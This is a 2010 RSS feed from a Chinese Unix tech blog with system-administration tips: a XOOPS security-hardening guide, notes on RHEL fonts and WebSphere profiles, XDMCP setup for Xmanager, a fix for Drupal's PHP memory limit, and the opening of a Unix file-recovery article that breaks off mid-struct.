<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客 &#187; It Tips</title>
	<atom:link href="http://www.evanjiang.net.cn/archives/category/apps/it-tips/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老，刹那芳华，与其天涯思君，恋恋不舍，莫若相忘于江湖！</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>XOOPS安全向導(网上转摘）</title>
		<link>http://www.evanjiang.net.cn/archives/1470.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1470.html#comments</comments>
		<pubDate>Sun, 11 Apr 2010 03:38:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1470</guid>
		<description><![CDATA[<p>


 <p>首先，你需要記住這個︰沒有一個100%安全的系統。任何事物都是相對的。在這個前提下，我們可以做一些使你的系統更安全的措施。
這個向導概述了不同的步驟來使你的系統更安全，技巧有來自XOOPS-TIPS.com的，也有來自XOOPS官方論壇的，多數的技巧已經被在XOOPS-TIPS.com列出來了，但是列出來的是分散的。我們希望把這些技巧分門別類，使你能更好的領會”安全問題”。</p>
<p>選擇一個好的空間服務商
我們總是把那個公司提供最多的功能而價格最低廉放在選擇空間的首位，其實，很多其他的因素值得注意。</p>
<p>下面是一些技巧︰
一個好的著名的空間服務商通常意味著安全。因為我們沒有一個預算來單獨買一台主機，你應當注意整個主機的安全性和在這個主機上的其他網站的安全性。因為這些對你的網站的安全至關重要。
不管你的網站多麼安全，如果你的伺服器被在上面的其他網站威脅，你使你的網站更安全的措施都是白費力。
轉讓或規模較小的空間服務商應當被避免選擇。因為通常來說，我們沒有資源或者方法來監視你的伺服器。

安裝——選擇一個不好猜測的前綴
在安裝進程中，選擇一個不好猜測的前綴，像︰f56Gewg_3GE98FE53fgw，或者HK_er__twgwY98Fgfw。
如果你用的預設的“xoops”作為前綴，你可以用GIJOE的“XOOPS Protector”這個模組來修改前綴




安裝完成後馬上應該做的
當你安裝完XOOPS的時候，不要忘記刪除安裝目錄和修改mainfile.php的權限。不刪除安裝目錄、不修改mainfile權限，相當于公開要請別人來重新安裝並且取代你控制這個網站。</p>
<p>安裝”XOOPS Protector”模組
當你安裝完XOOPS 的時候，你應當安裝的第一個模組是GIJOE的”XOOPS Protector”模組。如果你對你的網站安全很在意，GIJOE的“XOOPS Protector”模組是必須安裝的的。
XOOPS可能是最安全的CMS之一，然而，它的核心有潛在的隱患可能使黑客攻擊進入你的網站。這一點已經被GIJOE——“對XOOPS安全貢獻最大的人”證明。
獲得更多信息，請訪問GIJOE的網站︰http://www.peak.ne.jp/xoops/




把用戶名和密碼從Mainfile.php中移出來
你安裝完XOOPS後，我們建議你把資料庫的用戶名和密碼從mainfile.php中移出來。把敏感的信息從網站目錄中移出來是很好的安全措施。這可以避免由你的伺服器失誤導致的敏感信息泄漏。例如PHP停止編譯，如果這樣的話，PHP文件里的信息可以被任何人讀到。
關於這個技巧的詳細信息，請訪問︰http://xoops-tips.com/news-article.storyid-1.htm




保護Admin.php和“系統管理”模組
Admin.php是任何人都可以訪問的，這就為駭客攻擊提供可乘之機，保護Admin.php的方法請訪問︰http://xoops-tips.com/news-article.storyid-9.htm</p>
<p>保護風格目錄（themes）
你可以阻止你的風格目錄被探測器探測到，詳細請訪問︰http://xoops-tips.com/news-article.storyid-25.htm</p>
<p>關掉“列表目錄”功能
如果你的伺服器有”關閉列表目錄”功能的話，關掉它！如果伺服器不提供這個功能，建立一個“index.html”輸入以下代碼︰
上傳到XOOPS所有的目錄，除了根目錄和模組的根目錄。
XOOPS預設存在這個文件（index.html），但是我們建議你確保每個目錄裡都有這個文件（除了根目錄和模組的根目錄）。




保護管理員的Email地址
除了對用戶以外，你絕對不應該把管理員的Email地址告訴給其他人。如果你正在用 “XOOPS headline”模組，請訪問以下的網址來確保你的管理員Email不泄漏給其他人︰</p>
<p>http://xoops-tips.com/news-article.storyid-51.htm</p>
<p>



第三方模組
注意第三方模組，這裡面可能存在一些作者沒有察覺的安全隱患。
如果你正在使用第三方模組，請經常檢查更新，並且有規律的訪問XOOPS論壇，看一下其他用戶的反映。
其他的你應該做的︰
1.經常備份你的網站內容。
2.在“訪問量”和安全之間找到平衡點︰適當的開啟審核功能。
3.保證你的XOOPS是最新的。
4.PHP 和 MySQL 方面︰考慮開啟“cgi-wrap“功能，但這是以犧牲速度為代價的。
5.禁止緩存︰如果你是需要出售內容的，考慮在 theme.htm 的頂部加入以下代碼︰

這會阻止搜尋引擎緩存你的內容。如果不這樣，即使你阻止了一個人的IP，他仍然可以從搜尋引擎的緩存中獲得你的內容，但注意，這會使你的搜尋引擎排名降低！</p>
<p>最後一點︰不要過於自信，保持高度仔細。
祝你使用XOOPS愉快！

insraq的主頁︰http://isnraq.xoops.cn
XOOPS官方網站︰http://www.xoops.org.cn
XOOPS-TIPS.com︰http://www.xoops-tips.com
XOOPS CHINA︰http://www.xoops.org.cn</p>
<p>=================================
這個文件的Word版本請在附件下載！Word版本有更好的顯示效果！
請尊重原作者和insraq的勞動成果，轉載時請完整轉載。
注意！這個版本我刪掉了一些沒有用的解釋性的話，原作請訪問︰</p>
<p>http://xoops-tips.com/news-article.storyid-81.htm</p>
<p>



</p>
]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>首先，你需要記住這個︰沒有一個100%安全的系統。任何事物都是相對的。在這個前提下，我們可以做一些使你的系統更安全的措施。<br />
這個向導概述了不同的步驟來使你的系統更安全，技巧有來自XOOPS-TIPS.com的，也有來自XOOPS官方論壇的，多數的技巧已經被在XOOPS-TIPS.com列出來了，但是列出來的是分散的。我們希望把這些技巧分門別類，使你能更好的領會”安全問題”。</p>
<p>選擇一個好的空間服務商<br />
我們總是把那個公司提供最多的功能而價格最低廉放在選擇空間的首位，其實，很多其他的因素值得注意。</p>
<p>下面是一些技巧︰<br />
一個好的著名的空間服務商通常意味著安全。因為我們沒有一個預算來單獨買一台主機，你應當注意整個主機的安全性和在這個主機上的其他網站的安全性。因為這些對你的網站的安全至關重要。<br />
不管你的網站多麼安全，如果你的伺服器被在上面的其他網站威脅，你使你的網站更安全的措施都是白費力。<br />
轉讓或規模較小的空間服務商應當被避免選擇。因為通常來說，我們沒有資源或者方法來監視你的伺服器。<br />
<span id="more-1470"></span><br />
安裝——選擇一個不好猜測的前綴<br />
在安裝進程中，選擇一個不好猜測的前綴，像︰f56Gewg_3GE98FE53fgw，或者HK_er__twgwY98Fgfw。<br />
如果你用的預設的“xoops”作為前綴，你可以用GIJOE的“XOOPS Protector”這個模組來修改前綴<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x15, 创建于 10-3-23 */
google_ad_slot = "9129041183";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
安裝完成後馬上應該做的<br />
當你安裝完XOOPS的時候，不要忘記刪除安裝目錄和修改mainfile.php的權限。不刪除安裝目錄、不修改mainfile權限，相當于公開要請別人來重新安裝並且取代你控制這個網站。</p>
<p>安裝”XOOPS Protector”模組<br />
當你安裝完XOOPS 的時候，你應當安裝的第一個模組是GIJOE的”XOOPS Protector”模組。如果你對你的網站安全很在意，GIJOE的“XOOPS Protector”模組是必須安裝的的。<br />
XOOPS可能是最安全的CMS之一，然而，它的核心有潛在的隱患可能使黑客攻擊進入你的網站。這一點已經被GIJOE——“對XOOPS安全貢獻最大的人”證明。<br />
獲得更多信息，請訪問GIJOE的網站︰http://www.peak.ne.jp/xoops/<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
把用戶名和密碼從Mainfile.php中移出來<br />
你安裝完XOOPS後，我們建議你把資料庫的用戶名和密碼從mainfile.php中移出來。把敏感的信息從網站目錄中移出來是很好的安全措施。這可以避免由你的伺服器失誤導致的敏感信息泄漏。例如PHP停止編譯，如果這樣的話，PHP文件里的信息可以被任何人讀到。<br />
關於這個技巧的詳細信息，請訪問︰http://xoops-tips.com/news-article.storyid-1.htm<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x15, 创建于 10-3-23 */
google_ad_slot = "9129041183";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
保護Admin.php和“系統管理”模組<br />
Admin.php是任何人都可以訪問的，這就為駭客攻擊提供可乘之機，保護Admin.php的方法請訪問︰http://xoops-tips.com/news-article.storyid-9.htm</p>
<p>保護風格目錄（themes）<br />
你可以阻止你的風格目錄被探測器探測到，詳細請訪問︰http://xoops-tips.com/news-article.storyid-25.htm</p>
<p>關掉“列表目錄”功能<br />
如果你的伺服器有”關閉列表目錄”功能的話，關掉它！如果伺服器不提供這個功能，建立一個“index.html”輸入以下代碼︰<br />
上傳到XOOPS所有的目錄，除了根目錄和模組的根目錄。<br />
XOOPS預設存在這個文件（index.html），但是我們建議你確保每個目錄裡都有這個文件（除了根目錄和模組的根目錄）。<br />
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x15, 创建于 10-3-23 */
google_ad_slot = "9129041183";
google_ad_width = 728;
google_ad_height = 15;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
保護管理員的Email地址<br />
除了對用戶以外，你絕對不應該把管理員的Email地址告訴給其他人。如果你正在用 “XOOPS headline”模組，請訪問以下的網址來確保你的管理員Email不泄漏給其他人︰</p>
<p>http://xoops-tips.com/news-article.storyid-51.htm</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, 创建于 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
第三方模組<br />
注意第三方模組，這裡面可能存在一些作者沒有察覺的安全隱患。<br />
如果你正在使用第三方模組，請經常檢查更新，並且有規律的訪問XOOPS論壇，看一下其他用戶的反映。<br />
其他的你應該做的︰<br />
1.經常備份你的網站內容。<br />
2.在“訪問量”和安全之間找到平衡點︰適當的開啟審核功能。<br />
3.保證你的XOOPS是最新的。<br />
4.PHP 和 MySQL 方面︰考慮開啟“cgi-wrap“功能，但這是以犧牲速度為代價的。<br />
5.禁止緩存︰如果你是需要出售內容的，考慮在 theme.htm 的頂部加入以下代碼︰<br />
<META NAME=“ROBOTS” CONTENT=“NOARCHIVE”><br />
這會阻止搜尋引擎緩存你的內容。如果不這樣，即使你阻止了一個人的IP，他仍然可以從搜尋引擎的緩存中獲得你的內容，但注意，這會使你的搜尋引擎排名降低！</p>
<p>最後一點︰不要過於自信，保持高度仔細。<br />
祝你使用XOOPS愉快！<br />
<a href="http://ad.zanox.com/ppc/?15139536C65181673T"><img src="http://ad.zanox.com/ppv/?15139536C65181673" align="bottom" width="728" height="90" border="0" hspace="1" alt="bookair b008 728x90"></a><br />
insraq的主頁︰http://isnraq.xoops.cn<br />
XOOPS官方網站︰http://www.xoops.org.cn<br />
XOOPS-TIPS.com︰http://www.xoops-tips.com<br />
XOOPS CHINA︰http://www.xoops.org.cn</p>
<p>=================================<br />
這個文件的Word版本請在附件下載！Word版本有更好的顯示效果！<br />
請尊重原作者和insraq的勞動成果，轉載時請完整轉載。<br />
注意！這個版本我刪掉了一些沒有用的解釋性的話，原作請訪問︰</p>
<p>http://xoops-tips.com/news-article.storyid-81.htm</p>
<p><script type="text/javascript"><!--
  google_ad_client = "pub-8438729971248494";
  google_ad_format = "js_sdo";
  google_cts_mode ="rs";
  google_num_cts = "8";
  google_searchbox_color_border = "0066CC";
  google_searchbox_width = 585;
  google_searchbox_height = 26;
  google_link_target = 2;
  google_logo_pos = "left";
  google_rs_pos = "below";
  google_ad_height = 90;
  google_ad_width = 728;
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_sdo.js">
</script>
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1470.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rhel5.4中文包的安装以及WebSphere概要文件的创建与删除</title>
		<link>http://www.evanjiang.net.cn/archives/1447.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1447.html#comments</comments>
		<pubDate>Thu, 28 Jan 2010 13:20:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1447</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>一、Red Hat Enterprise Linux 5.0版本下的中文包的安装</p>
<p>需要找到光盘上的２个中文支持字体包安装上即可.
文件名如下,注意不同版本文件明后面数字部分可能会不同,其代表版本号.下面是Red Hat Enterprise Linux 5.0版本下的中文包文件名.
fonts-chinese-3.02-9.6.el5.noarch.rpm
fonts-ISO8859-2-75dpi-1.0-17.1.noarch.rpm</p>
<p>分别双击上面的2个文件并安装,完毕后无需从新启动系统即可支持中文,(可能需要关闭然后从新打开需要显示中文的应用程序)．</p>
<p>这种方法，也适用于rhel5.4版本。</p>
<p>二、websphere 创建概要文件脚本.</p>
<p>
　　创建概要文件：</p>
<p>　　方案一：./manageprofiles.sh -create -profileName AppSrv01</p>
<p>　　-profilePath /opt/IBM/WebSphere/AppServer/profiles/AppSrv01</p>
<p>　　-templatePath /opt/IBM/WebSphere/AppServer/profileTemplates/default</p>
<p>　　方案二：开始－程序－IBM WebSphere-Application Server-Profile Management Tool, 按照提示创建。</p>
<p>三、解决AppSrv02概要文件删除不彻底问题。</p>
<p>　　删除概要文件：</p>
<p>　　方案一：</p>
<p>　　1.找到profileRegistry.xml，在目录IBM\WebSphere\AppServer\properties里,去掉想删除的profile的配置即可。
　　2.删除profileName.bat  在目录IBM\WebSphere\AppServer\properties\fsdb里，删除</p>
<p>　　3.将profile的实际存储目录及内容删除，如：D:\IBM\WebSphere\AppServer\profiles\AppSrv01</p>
<p>　　方案二：</p>
<p>　　使用命令 manageprofiles.bat -delete -profileName profileNam</p>
<p>可以AppServer\properties\profileRegistry.xml下把节点配置删除，然后把profile下相应文件夹和程序启动的快捷方式都删除就可以.</p>
]]></description>
			<content:encoded><![CDATA[<p>一、Red Hat Enterprise Linux 5.0版本下的中文包的安装</p>
<p>需要找到光盘上的２个中文支持字体包安装上即可.<br />
文件名如下,注意不同版本文件明后面数字部分可能会不同,其代表版本号.下面是Red Hat Enterprise Linux 5.0版本下的中文包文件名.<br />
fonts-chinese-3.02-9.6.el5.noarch.rpm<br />
fonts-ISO8859-2-75dpi-1.0-17.1.noarch.rpm</p>
<p>分别双击上面的2个文件并安装,完毕后无需从新启动系统即可支持中文,(可能需要关闭然后从新打开需要显示中文的应用程序)．</p>
<p>这种方法，也适用于rhel5.4版本。</p>
<p>二、websphere 创建概要文件脚本.</p>
<p><span id="more-1447"></span><br />
　　创建概要文件：</p>
<p>　　方案一：./manageprofiles.sh -create -profileName AppSrv01</p>
<p>　　-profilePath /opt/IBM/WebSphere/AppServer/profiles/AppSrv01</p>
<p>　　-templatePath /opt/IBM/WebSphere/AppServer/profileTemplates/default</p>
<p>　　方案二：开始－程序－IBM WebSphere-Application Server-Profile Management Tool, 按照提示创建。</p>
<p>三、解决AppSrv02概要文件删除不彻底问题。</p>
<p>　　删除概要文件：</p>
<p>　　方案一：</p>
<p>　　1.找到profileRegistry.xml，在目录IBM\WebSphere\AppServer\properties里,去掉想删除的profile的配置即可。<br />
　　2.删除profileName.bat  在目录IBM\WebSphere\AppServer\properties\fsdb里，删除</p>
<p>　　3.将profile的实际存储目录及内容删除，如：D:\IBM\WebSphere\AppServer\profiles\AppSrv01</p>
<p>　　方案二：</p>
<p>　　使用命令 manageprofiles.bat -delete -profileName profileNam</p>
<p>可以AppServer\properties\profileRegistry.xml下把节点配置删除，然后把profile下相应文件夹和程序启动的快捷方式都删除就可以.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1447.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用Xmanager远程连接Red hat Enterprise Linux 5</title>
		<link>http://www.evanjiang.net.cn/archives/1434.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1434.html#comments</comments>
		<pubDate>Thu, 21 Jan 2010 13:36:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1434</guid>
		<description><![CDATA[<p>具体方法如下: </p>
<p>服务器：Red hat Enterprise Linux 5 </p>
<p>终端：Xmanager 3.0 </p>
<p>服务器配置：－－－－－－－－－－－－－－－－－－－－－－－－
1. 配置 XDM </p>
<p>(1). Change runlevel to 5
       id:5:initdefault:
修改 /etc/inittab，将运行级别设置为5，即:
      id:5:initdefault: </p>
<p>(2). Enable XDMCP </p>
<p>修改 /etc/gdm/custom.conf， </p>
<p>  将 [xdmcp] 部分的 Enable 设置为 1，即：
      [xdmcp]
      Enable=1
 [...]]]></description>
			<content:encoded><![CDATA[<p>具体方法如下: </p>
<p>服务器：Red hat Enterprise Linux 5 </p>
<p>终端：Xmanager 3.0 </p>
<p>服务器配置：－－－－－－－－－－－－－－－－－－－－－－－－<br />
1. 配置 XDM </p>
<p>(1). Change runlevel to 5<br />
       id:5:initdefault:<br />
修改 /etc/inittab，将运行级别设置为5，即:<br />
      id:5:initdefault: </p>
<p>(2). Enable XDMCP </p>
<p>修改 /etc/gdm/custom.conf， </p>
<p> <span id="more-1434"></span> 将 [xdmcp] 部分的 Enable 设置为 1，即：<br />
      [xdmcp]<br />
      Enable=1<br />
      Post=177<br />
    将 [security] 部分的 DisallowTCP 设置为 false，即：<br />
      [security]<br />
      DisallowTCP=false<br />
2. 配置防火墙 (TCP/UDP Ports) / 若已经关闭防火墙，则忽略这一步<br />
      Open UDP port 177 from the PC to the remote host direction.<br />
      Open incoming TCP ports 6000~6010 from the remote host to your PC.<br />
3. 重新启动服务器，即输入下面的命令即可：<br />
   # init 3; init 5<br />
终端配置<br />
－－－－－－－－－－－－－－－－－－－－－－－－<br />
1、点击 Xmanager 图标，打开 Xbrowser<br />
   这时 Xbrowser 窗口中会显示局域网中所有的可用服务器 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1434.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>drupal CMS 系统安装ubercart 报内存不足的解决办法</title>
		<link>http://www.evanjiang.net.cn/archives/1428.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1428.html#comments</comments>
		<pubDate>Sun, 10 Jan 2010 05:02:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1428</guid>
		<description><![CDATA[<p>这些天，新开一个网站，主要是面向女性网站的，网址为：http://www.ladyfeel.net 女情网，想着在经营这个网站时，增加这个网站的购物车功能，就在网上找到这个ubercart ，一个drupal兼容性的很好的购物车模块。谁知。在装那些match的插件时，总是提示内存不足。。页面错误提示：Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 64 bytes) 等类似信息。上网找了找。找到这些信息：
I got this error:
&#8220;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2761 bytes) in /home/gotantan/public_html/rwolfefamily/modules/views/views_cache.inc on line 146&#8243;</p>
<p>I found this solution:</p>
<p>http://drupal.org/node/76156</p>
<p>&#8220;That indicates that Drupal needed more memory than PHP was allowed to give it. </p>
<p>Increase [...]]]></description>
			<content:encoded><![CDATA[<p>这些天，新开一个网站，主要是面向女性网站的，网址为：http://www.ladyfeel.net 女情网，想着在经营这个网站时，增加这个网站的购物车功能，就在网上找到这个ubercart ，一个drupal兼容性的很好的购物车模块。谁知。在装那些match的插件时，总是提示内存不足。。页面错误提示：Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 64 bytes) 等类似信息。上网找了找。找到这些信息：<br />
I got this error:<br />
&#8220;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2761 bytes) in /home/gotantan/public_html/rwolfefamily/modules/views/views_cache.inc on line 146&#8243;</p>
<p>I found this solution:</p>
<p>http://drupal.org/node/76156</p>
<p>&#8220;That indicates that Drupal needed more memory than PHP was allowed to give it. </p>
<p>Increase PHP&#8217;s memory limit, either by adding:</p>
<p>memory_limit = 12M to your php.ini file (recommended, if you have access)<br />
ini_set(&#8216;memory_limit&#8217;, &#8217;12M&#8217;); in your sites/default/settings.php file<br />
php_value memory_limit 12M in your .htaccess file in the Drupal root<br />
Some hosts allow a PHP.ini in the root of your site.</p>
<p>Depending on the amount of modules you have enabled and their &#8216;impact&#8217; on the site you may need to increase the memory_limit even more (sometimes to 30 MB or more). Experiment with what memory value works for your needs.</p>
<p>You may need to restart your server before the php.ini settings take effect.&#8221;</p>
<p><span id="more-1428"></span>俺试了试，都不行，就认为可能是俺没权限重启外国主机。致使设置不能生效。那联络上外国主机技术支持客服。跟对方沟通后。对方给了俺以下信息，就了无信息：<br />
Your PHP.INI file is the file you need to modify in order to increase your memory limit.</p>
<p>the settings you will need to modify are these:</p>
<p>max_execution_time = 30 ; Maximum execution time of each script, in seconds (set this to something high like 300)</p>
<p>max_input_time = 60 ; Maximum amount of time each script may spend parsing request data (set this to something high like 600)</p>
<p>memory_limit = 10M ; Maximum amount of memory a script may consume (set this to something like 500M)</p>
<p>Then in the php config icon of your account, set your site to the php5 (single php.ini) settings as the Fast CGI is not compatible with some drupal installations. if you find that fast cgi works, great if not, just stay on the php 5 setting.</p>
<p>Also, you do Not need to , and you cannot reboot the server on bluehost. We have a special modification to our server that allows the php.ini files to be initialized on the fly and it does not need to be restarted every time a change is made. Therefore, make the changes in the php.ini and refresh your site a couple of times and the new settings will be applied. </p>
<p>To see if the settings you are making in your account are taking affect, put a phpinfo.php file in your account and use the <? phpinfo(); ?></p>
<p>Lastly, do not use the php_flag variable in our server. The .htaccess file does not recognize that flag and it will result in your account producing a 500 error, just make your modifications to the php.ini file itself.</p>
<p>If the above memory fix does not solve your problem, there may be a file in the drupal that is limiting your memory usage. (as this line suggests here: &#8220;ini_set(&#8216;memory_limit&#8217;, &#8217;12M&#8217;); in your sites/default ttings.php file&#8221;)</p>
<p>If all the above doesn&#8217;t work, contact the bluehost support and drupal to see if there are any other fixes to your problem and/or any other files you may need to modify.</p>
<p>Thanks</p>
<p>没办法之下，那俺只好死马当活马医。最好终于解决这个问题。原来问题是在php.ini设置的允许内存不够大。之前设成32,64,128,256m都不行。最好，俺抱着试一试的心理，将允许内存大小设为1024m，却发现，可以成功安装上ubercart，在创建内存的选项里，终于见到产品的选项。。。至此，问题，得以解决。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1428.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>恢复Unix系统被删除的文件</title>
		<link>http://www.evanjiang.net.cn/archives/1393.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1393.html#comments</comments>
		<pubDate>Sat, 12 Dec 2009 05:06:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[数据恢复]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1393</guid>
		<description><![CDATA[<p>与DOS/Windows不同，Unix文件被删除后很难恢复，这是由Unix独特的文件系统结构决定的。所以，要想恢复这些文件，就需要另辟蹊径。Unix文件系统的特殊性决定了它不能像Windows系统那样恢复被删除的文件。 </p>
<p>Unix 文件目录不像DOS/Windows那样，文件即使被删除之后仍保存有完整的文件名、文件长度、始簇号(即文件占有的第一个磁盘块号)等重要信息。相反， 它的文件信息全部依靠一种被称为i节点的数据结构来描述，而i节点在相应文件被删除之后即被清空，因此，要想直接恢复被删除的文件内容几乎是不可能的，必 须另辟蹊径。本文结合实际，讨论几种文件恢复策略及其关键步骤的具体实现。　 </p>
<p>不过，需要说明的是，Unix系统下文件系统恢复的具体实现依赖于不同操作系统和不同版本的具体文件系统结构和磁盘块分配算法（见附文）。本文只是试图总结出一种一般性的思路和策略，限于篇幅，不能详细讨论它们的具体实现过程。 </p>
<p>Unix文件系统结构 </p>
<p>我们知道，Unix是以文件卷作为其文件系统存储格式的，而不同的Unix系统，文件卷格式是有差异的，甚至即使是同一Unix操作系统的不同版本，其文 件系统也未必完全相同，例如: SCO Unix 4.1版与5.0版文件系统结构就有明显差异，但只要是Unix系统，其文件卷的基本结构是一致的。 </p>
<p>不管是什么Unix系统，不管什么版本，其文件卷至少包括引导块、超级块、i节点表、数据区等几个部分。 </p>
<p>1. 引导块 </p>
<p>位于文件卷最开始的第一扇区，这512字节是文件系统的引导代码，为根文件系统所特有，其他文件系统这512字节为空。 </p>
<p>2. 超级块 </p>
<p>位于文件系统第二扇区，紧跟引导块之后，用于描述本文件系统的结构。如i节点长度、文件系统大小等，其结构存放于/usr/include/sys/filsys.h中，其结构如下: </p>
<p>struct filsys </p>
<p>{ ushort s_isize; /*磁盘索引节点区所占用的数据块数*/ </p>
<p>daddr_t s_fsize; /*整个文件系统的数据块数*/ </p>
<p>short s_nfree; /*在空闲块登录表中当前登记的空闲块数目*/ </p>
<p>daddr_t s_free[NICFREE]; /*空闲块登记表*/ </p>
<p>short s_ninode; /*空闲索引节点数*/ </p>
<p>ino_t s_inode[NICINOD]; /*空闲节点登记表*/ </p>
<p>char s_flock; /*加锁标志位*/ </p>
<p>char s_ilock; /*节点加锁标志位*/ </p>
<p>char s_fmod; /*超级块修改标志*/ </p>
<p>char s_ronly; /*文件系统只读标志*/ </p>
<p>time_t s_time; /*超级块上次修改的时间*/ [...]]]></description>
			<content:encoded><![CDATA[<p>与DOS/Windows不同，Unix文件被删除后很难恢复，这是由Unix独特的文件系统结构决定的。所以，要想恢复这些文件，就需要另辟蹊径。Unix文件系统的特殊性决定了它不能像Windows系统那样恢复被删除的文件。 </p>
<p>Unix 文件目录不像DOS/Windows那样，文件即使被删除之后仍保存有完整的文件名、文件长度、始簇号(即文件占有的第一个磁盘块号)等重要信息。相反， 它的文件信息全部依靠一种被称为i节点的数据结构来描述，而i节点在相应文件被删除之后即被清空，因此，要想直接恢复被删除的文件内容几乎是不可能的，必 须另辟蹊径。本文结合实际，讨论几种文件恢复策略及其关键步骤的具体实现。　 </p>
<p>不过，需要说明的是，Unix系统下文件系统恢复的具体实现依赖于不同操作系统和不同版本的具体文件系统结构和磁盘块分配算法（见附文）。本文只是试图总结出一种一般性的思路和策略，限于篇幅，不能详细讨论它们的具体实现过程。 </p>
<p>Unix文件系统结构 </p>
<p>我们知道，Unix是以文件卷作为其文件系统存储格式的，而不同的Unix系统，文件卷格式是有差异的，甚至即使是同一Unix操作系统的不同版本，其文 件系统也未必完全相同，例如: SCO Unix 4.1版与5.0版文件系统结构就有明显差异，但只要是Unix系统，其文件卷的基本结构是一致的。 </p>
<p>不管是什么Unix系统，不管什么版本，其文件卷至少包括引导块、超级块、i节点表、数据区等几个部分。 </p>
<p>1. 引导块 </p>
<p>位于文件卷最开始的第一扇区，这512字节是文件系统的引导代码，为根文件系统所特有，其他文件系统这512字节为空。 </p>
<p>2. 超级块 </p>
<p><span id="more-1393"></span>位于文件系统第二扇区，紧跟引导块之后，用于描述本文件系统的结构。如i节点长度、文件系统大小等，其结构存放于/usr/include/sys/filsys.h中，其结构如下: </p>
<p>struct filsys </p>
<p>{ ushort s_isize; /*磁盘索引节点区所占用的数据块数*/ </p>
<p>daddr_t s_fsize; /*整个文件系统的数据块数*/ </p>
<p>short s_nfree; /*在空闲块登录表中当前登记的空闲块数目*/ </p>
<p>daddr_t s_free[NICFREE]; /*空闲块登记表*/ </p>
<p>short s_ninode; /*空闲索引节点数*/ </p>
<p>ino_t s_inode[NICINOD]; /*空闲节点登记表*/ </p>
<p>char s_flock; /*加锁标志位*/ </p>
<p>char s_ilock; /*节点加锁标志位*/ </p>
<p>char s_fmod; /*超级块修改标志*/ </p>
<p>char s_ronly; /*文件系统只读标志*/ </p>
<p>time_t s_time; /*超级块上次修改的时间*/ </p>
<p>short s_dinfo[4]; /*设备信息*/ </p>
<p>daddr_t s_tfree; /*空闲块总数*/ </p>
<p>ino_t s_tinode; /*空闲节点总数*/ </p>
<p>char s_fname[6]; /*文件系统名称*/ </p>
